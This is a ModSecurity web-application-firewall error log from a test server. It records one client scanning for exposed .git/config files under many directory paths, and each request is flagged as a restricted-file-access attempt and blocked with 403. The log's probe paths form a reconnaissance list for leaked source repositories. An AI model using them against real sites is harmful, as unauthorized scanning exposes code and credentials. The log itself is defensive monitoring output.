[Mon Mar 25 22:18:15.594985 2024] [:error] [pid 2028694] [client 91.215.85.29:53902] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIQAAAAk&quot;]
[Mon Mar 25 22:18:15.597055 2024] [:error] [pid 2025392] [client 91.215.85.29:53954] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRgAAAAM&quot;]
[Mon Mar 25 22:18:15.597203 2024] [:error] [pid 2027228] [client 91.215.85.29:53942] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /aomanalyzer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFowAAAAg&quot;]
[Mon Mar 25 22:18:15.597261 2024] [:error] [pid 2025392] [client 91.215.85.29:53954] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRgAAAAM&quot;]
[Mon Mar 25 22:18:15.597406 2024] [:error] [pid 2027228] [client 91.215.85.29:53942] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFowAAAAg&quot;]
[Mon Mar 25 22:18:15.597422 2024] [:error] [pid 2025392] [client 91.215.85.29:53954] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRgAAAAM&quot;]
[Mon Mar 25 22:18:15.597561 2024] [:error] [pid 2027228] [client 91.215.85.29:53942] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFowAAAAg&quot;]
[Mon Mar 25 22:18:15.663019 2024] [:error] [pid 2025390] [client 91.215.85.29:53974] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIAAAAAE&quot;]
[Mon Mar 25 22:18:15.663563 2024] [:error] [pid 2025390] [client 91.215.85.29:53974] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIAAAAAE&quot;]
[Mon Mar 25 22:18:15.664018 2024] [:error] [pid 2025390] [client 91.215.85.29:53974] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIAAAAAE&quot;]
[Mon Mar 25 22:18:15.666494 2024] [:error] [pid 2025393] [client 91.215.85.29:53980] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WQAAAAQ&quot;]
[Mon Mar 25 22:18:15.667321 2024] [:error] [pid 2025393] [client 91.215.85.29:53980] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WQAAAAQ&quot;]
[Mon Mar 25 22:18:15.667412 2024] [:error] [pid 2027220] [client 91.215.85.29:53994] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_gAAAAY&quot;]
[Mon Mar 25 22:18:15.667624 2024] [:error] [pid 2025393] [client 91.215.85.29:53980] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WQAAAAQ&quot;]
[Mon Mar 25 22:18:15.667681 2024] [:error] [pid 2027220] [client 91.215.85.29:53994] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_gAAAAY&quot;]
[Mon Mar 25 22:18:15.667874 2024] [:error] [pid 2027220] [client 91.215.85.29:53994] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_gAAAAY&quot;]
[Mon Mar 25 22:18:15.668761 2024] [:error] [pid 2025394] [client 91.215.85.29:53966] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzQAAAAU&quot;]
[Mon Mar 25 22:18:15.669049 2024] [:error] [pid 2025394] [client 91.215.85.29:53966] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzQAAAAU&quot;]
[Mon Mar 25 22:18:15.669283 2024] [:error] [pid 2025394] [client 91.215.85.29:53966] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzQAAAAU&quot;]
[Mon Mar 25 22:18:15.693098 2024] [:error] [pid 2025389] [client 91.215.85.29:54010] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVwAAAAA&quot;]
[Mon Mar 25 22:18:15.693543 2024] [:error] [pid 2025389] [client 91.215.85.29:54010] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVwAAAAA&quot;]
[Mon Mar 25 22:18:15.693887 2024] [:error] [pid 2025389] [client 91.215.85.29:54010] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVwAAAAA&quot;]
[Mon Mar 25 22:18:15.693956 2024] [:error] [pid 2025391] [client 91.215.85.29:54020] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFgAAAAI&quot;]
[Mon Mar 25 22:18:15.694289 2024] [:error] [pid 2025391] [client 91.215.85.29:54020] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFgAAAAI&quot;]
[Mon Mar 25 22:18:15.694499 2024] [:error] [pid 2025391] [client 91.215.85.29:54020] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFgAAAAI&quot;]
[Mon Mar 25 22:18:15.696514 2024] [:error] [pid 2027228] [client 91.215.85.29:54016] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /beta/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpAAAAAg&quot;]
[Mon Mar 25 22:18:15.696784 2024] [:error] [pid 2027228] [client 91.215.85.29:54016] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpAAAAAg&quot;]
[Mon Mar 25 22:18:15.697539 2024] [:error] [pid 2027224] [client 91.215.85.29:54040] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMggAAAAc&quot;]
[Mon Mar 25 22:18:15.697894 2024] [:error] [pid 2027224] [client 91.215.85.29:54040] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMggAAAAc&quot;]
[Mon Mar 25 22:18:15.698116 2024] [:error] [pid 2027224] [client 91.215.85.29:54040] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMggAAAAc&quot;]
[Mon Mar 25 22:18:15.698158 2024] [:error] [pid 2028694] [client 91.215.85.29:54026] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIgAAAAk&quot;]
[Mon Mar 25 22:18:15.698404 2024] [:error] [pid 2028694] [client 91.215.85.29:54026] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIgAAAAk&quot;]
[Mon Mar 25 22:18:15.698590 2024] [:error] [pid 2028694] [client 91.215.85.29:54026] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIgAAAAk&quot;]
